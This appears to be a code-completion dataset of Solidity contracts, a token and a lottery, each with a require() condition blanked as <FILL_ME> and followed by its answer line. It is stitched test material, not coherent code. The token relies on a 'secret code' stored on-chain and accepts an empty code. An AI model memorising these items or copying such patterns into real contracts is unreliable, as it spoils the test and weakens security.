MIN_BALANCE_TO_INCREASE_SUPPLY = 2 * 10 ** 18; // 2 is min balance uint256 public presaleStartTime; // Mapping to track buyer purchase timestamps mapping(address => uint256) public lastPurchaseTimestamp; string private secretCode; mapping(address => bool) private admins; /** * Only admin modifier */ modifier onlyAdmin() { } /** * constructor */ constructor() ERC20("PhilanthropyToken", "PTPH") { } // Function to add or remove admins function setAdmin(address _admin, bool _status) external onlyAdmin { } /** * Function to increase the market cap * @param amount uint256 */ function mint(uint256 amount) external onlyAdmin { } /** * Function to allow users to buy presale tokens * @param amount uint256 */ function buyPresaleTokens(uint256 amount) external payable { } /** * Function to distribute CHARITY_ALLOCATION to multiple addresses * @param recipients string<addresses> * @param amounts uint256 */ function initialRelease( address[] memory recipients, uint256[] memory amounts ) external onlyAdmin { } /** * Function to distribute INVESTOR_ALLOCATION to multiple investors * @param investors address * @param amounts uint256 */ function claimInvestorTokens( address[] memory investors, uint256[] memory amounts ) external onlyAdmin { } // Function to set a secret code for transactions above the threshold function setSecretCode(string memory code) external onlyAdmin { } /** * check secret code * @param code uint256 */ function checkSecretCode(string memory code) public view onlyOwner { } // Function to perform a transaction above the threshold with the correct secret code function transfer( address recipient, uint256 amount, string memory code ) external onlyAdmin { } function transferFrom( address recipient, uint256 amount, string memory code ) external { } /** * Function to automatically mint if the balance is below a certain threshold */ function mintWhenNeedded() external onlyAdmin { } // Custom burn function function burn(uint256 amount) public onlyAdmin { } /** * Function to show available supply (minted balance) value * @return uint256 */ function getUnsudedSupplies() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalIInvestorAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInitialAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalInitialReleased() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInvestorClaimed() external view onlyAdmin returns (uint256) { } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function transferBetweenCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function topupCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { require(<FILL_ME>) require( !fromInitialToInvestor || TOTAL_INVESTOR_CLAIMED >= amount, "Insufficient tokens in INVESTOR_CLAIMED" ); if (fromInitialToInvestor) { CHARITY_ALLOCATION -= amount; INVESTOR_ALLOCATION += amount; } else { INVESTOR_ALLOCATION -= amount; CHARITY_ALLOCATION += amount; } // _transfer(address(this), msg.sender, amount); } // Function to perform a transaction above the threshold with an optional secret code function transferWithSecretCode( address recipient, uint256 amount, string memory code ) external { } /** * Function to top up CHARITY_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpCharityAllocation(uint256 amount) external onlyAdmin { } /** * Function to top up INVESTOR_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpInvestorAllocation(uint256 amount) external onlyAdmin { } }
fromInitialToInvestor||CHARITY_ALLOCATION>=amount,"Insufficient tokens in INITIAL_RELEASED"
99,413
fromInitialToInvestor||CHARITY_ALLOCATION>=amount
"Incorrect secret code"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./libs/Admin.sol"; import "./libs/Security.sol"; import "./libs/Utils.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract PhilanthropyToken is ERC20, Ownable { using Admin for *; using Security for *; using Utils for *; uint256 public constant MAX_TOTAL_SUPPLY = 500 * 10 ** 6 * 10 ** 18; // Maximum total supply of 500 million tokens uint256 public constant MARKET_CAP = 10 * 10 ** 6 * 10 ** 18; // Default market cap of 10 million tokens uint256 public INVESTOR_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for investors uint256 public constant GENERAL_PUBLIC_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the general public uint256 public CHARITY_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for charities uint256 public constant PRESALE_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the presale uint256 public PRESALE_TOTAL_SOLD = 0; // the presale uint256 public constant INVESTOR_LOCK_PERIOD = 730 days; // 2 years Lock-up period for investors uint256 public constant PRESALE_LOCK_PERIOD = 365 days; // 1 year Lock-up period for presale uint256 public TOTAL_INITIAL_RELEASED = 0; uint256 public TOTAL_INVESTOR_CLAIMED = 0; uint256 public constant PRESALE_PRICE = 50 * 10 ** 15; // $0.50 in wei uint256 public constant TRANSACTION_THRESHOLD = 1 * 10 ** 6 * 10 ** 18; // 1m Transaction threshold for requiring a secret code uint256 public constant MIN_BALANCE_TO_INCREASE_SUPPLY = 2 * 10 ** 18; // 2 is min balance uint256 public presaleStartTime; // Mapping to track buyer purchase timestamps mapping(address => uint256) public lastPurchaseTimestamp; string private secretCode; mapping(address => bool) private admins; /** * Only admin modifier */ modifier onlyAdmin() { } /** * constructor */ constructor() ERC20("PhilanthropyToken", "PTPH") { } // Function to add or remove admins function setAdmin(address _admin, bool _status) external onlyAdmin { } /** * Function to increase the market cap * @param amount uint256 */ function mint(uint256 amount) external onlyAdmin { } /** * Function to allow users to buy presale tokens * @param amount uint256 */ function buyPresaleTokens(uint256 amount) external payable { } /** * Function to distribute CHARITY_ALLOCATION to multiple addresses * @param recipients string<addresses> * @param amounts uint256 */ function initialRelease( address[] memory recipients, uint256[] memory amounts ) external onlyAdmin { } /** * Function to distribute INVESTOR_ALLOCATION to multiple investors * @param investors address * @param amounts uint256 */ function claimInvestorTokens( address[] memory investors, uint256[] memory amounts ) external onlyAdmin { } // Function to set a secret code for transactions above the threshold function setSecretCode(string memory code) external onlyAdmin { } /** * check secret code * @param code uint256 */ function checkSecretCode(string memory code) public view onlyOwner { } // Function to perform a transaction above the threshold with the correct secret code function transfer( address recipient, uint256 amount, string memory code ) external onlyAdmin { } function transferFrom( address recipient, uint256 amount, string memory code ) external { } /** * Function to automatically mint if the balance is below a certain threshold */ function mintWhenNeedded() external onlyAdmin { } // Custom burn function function burn(uint256 amount) public onlyAdmin { } /** * Function to show available supply (minted balance) value * @return uint256 */ function getUnsudedSupplies() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalIInvestorAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInitialAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalInitialReleased() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInvestorClaimed() external view onlyAdmin returns (uint256) { } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function transferBetweenCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function topupCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { } // Function to perform a transaction above the threshold with an optional secret code function transferWithSecretCode( address recipient, uint256 amount, string memory code ) external { require(amount <= TRANSACTION_THRESHOLD, "Amount exceeds threshold"); require(<FILL_ME>) _transfer(msg.sender, recipient, amount); } /** * Function to top up CHARITY_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpCharityAllocation(uint256 amount) external onlyAdmin { } /** * Function to top up INVESTOR_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpInvestorAllocation(uint256 amount) external onlyAdmin { } }
code.checkSecretCode(secretCode)||bytes(code).length==0,"Incorrect secret code"
99,413
code.checkSecretCode(secretCode)||bytes(code).length==0
"Contract not allowed"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { require(<FILL_ME>) require(msg.sender == tx.origin, "Proxy contract not allowed"); _; } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override notContract nonReentrant { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner { } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
!_isContract(msg.sender),"Contract not allowed"
99,547
!_isContract(msg.sender)
"Lottery is not open"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override notContract nonReentrant { require(_ticketNumbers.length != 0, "No ticket specified"); require(_ticketNumbers.length <= maxNumberTicketsPerBuyOrClaim, "Too many tickets"); require(<FILL_ME>) require(block.timestamp < _lotteries[_lotteryId].endTime, "Lottery is over"); uint256 _freeTickets = calculateFreeTickets(msg.sender, _lotteryId); require(_freeTickets >= _ticketNumbers.length, "Insufficient free tickets"); for (uint256 i = 0; i < _ticketNumbers.length; i++) { uint256 thisTicketNumber = _ticketNumbers[i]; require((thisTicketNumber >= 1000000000000) && (thisTicketNumber <= 1494949494949), "Outside range"); _userTicketIdsPerLotteryId[msg.sender][_lotteryId].push(currentTicketId); _tickets[currentTicketId] = Ticket({number: thisTicketNumber, owner: msg.sender}); for(uint256 j = 0; j < 6; j++) { uint256 lotteryNumber = thisTicketNumber % 100; thisTicketNumber = thisTicketNumber / 100; require(lotteryNumber <= 49, "Wrong number"); _existLotteryNumberInTicket[_lotteryId][currentTicketId][lotteryNumber] = true; } // Increase lottery ticket number currentTicketId++; } _numberFreeTicketsPerLotteryId[_lotteryId][msg.sender] = _numberFreeTicketsPerLotteryId[_lotteryId][msg.sender] + _ticketNumbers.length; emit FreeTicketsPurchase(msg.sender, _lotteryId, _ticketNumbers.length); } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner { } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
_lotteries[_lotteryId].status==Status.Open,"Lottery is not open"
99,547
_lotteries[_lotteryId].status==Status.Open
"Outside range"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, 